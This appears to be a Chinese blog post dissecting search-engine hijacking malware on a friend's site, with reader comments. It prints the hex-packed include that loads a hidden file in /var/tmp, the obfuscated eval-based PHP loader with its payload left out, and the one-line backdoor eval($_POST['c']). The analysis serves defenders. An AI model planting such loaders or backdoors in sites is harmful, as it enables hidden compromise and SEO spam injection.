搜索引擎劫持技术解析

5

两年前我在博客发布过一个保定市人民政府网站被劫持的案例 百度快照劫持技术实现手段猜解,这次是朋友的网站被挂代码,出于好奇心,各种解码之后就有了这篇文章。

危险的/var/tmp目录

起初我以为是在首页载入的文件中被写入了代码,于是使用字符搜索工具整站搜索HTTP_USER_AGENT Baiduspider这些可疑字符串,但是一无所谓,仔细排查后才发现对方使用了这样一句代码

@INCLUDE_ONCE(PACK('H*','2f7661722f746d702f2e53595344554d502f2e576830416d492e434f5245'));

很明显这是罪魁祸首,echo出来加密串,结果是/var/tmp/.SYSDUMP/.Wh0AmI.CORE

/var/tmp目录和/tmp不同,这个文件夹重启服务器不会被清空,网站使用的是正规空间商的服务器,/var/tmp目录居然有读写权限,似乎也不限制大小,我也是第一次知道可以把文件放到这里来,那虚拟主机就没有容量限制了?

又是eval

打开/var/tmp/.SYSDUMP/.Wh0AmI.CORE文件,可以看到文件是被加密过的

<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("一坨乱七八糟的加密串"));?>

虽然eval有时候很有用,但是更多时候它却扮演着反面角色,例如臭名昭著的一句话后门 eval($_POST['c']);,除非是第三方插件如Zend加密,否则要躲过特征码扫描必须要用到eval,但是这个函数通过php.ini中的disable_functions是禁用不掉的,所以各种木马、后门都在使用eval

如果确认自己的程序用不到eval,即使要安装第三方插件也一定要禁用了它。

通过两次echo解密之后,终于看到了它的本来面目

<?php
具体代码就不发出来祸害人间了

程序写的不错,短小精悍,获取来访者的HTTP_USER_AGENT判断是不是爬虫,另外自己还有一个IP库判断是不是爬虫的服务器。

通过curl_exec取得远程服务最新的指令,甚至还写了当curl不能使用时用file_get_contentsstream_get_contents来替换。

为了不影响网站速度,它会肆无忌惮的使用URL的md5值为文件名在/var/tmp/.SYSDUMP/目录下生成数量可观的缓存文件,
获取到服务器信息后,各种解码,然后读取/var/tmp/.SYSDUMP/.Wh0AmI.MODEL作为它的模板文件向搜索引擎输出指定内容。

调试过程中用到了一个小工具网站被黑检测可以实时模拟搜索引擎抓取。

共 5 条评论

  1. 回复

    我的www.longbt.cn 不知道是不是被人域名劫持了,site出来的结果都是垃圾信息!

    • 回复

      应该不是,结果里显示的好像是垃圾评论,无碍,当然最好是能在系统上做下手脚,阻止这些垃圾评论.

  2. 回复

    想跟你学点技术,不知道您是否方便留下联系方式

  3. 回复

    长见识了,原来搜索引擎劫持都是单独区别 搜索引擎的 UA

    • 回复

      也识别蜘蛛的IP,如果不劫持百度和谷歌,只劫持一些小的搜索引擎的话,隐蔽性还是相当高的。

发表评论

您的邮箱不会公开,当您的评论有新的回复时,会通过您填写的邮箱向您发送评论内容。 必填字段 *

为何看不到我发布的评论?

正在提交, 请稍候...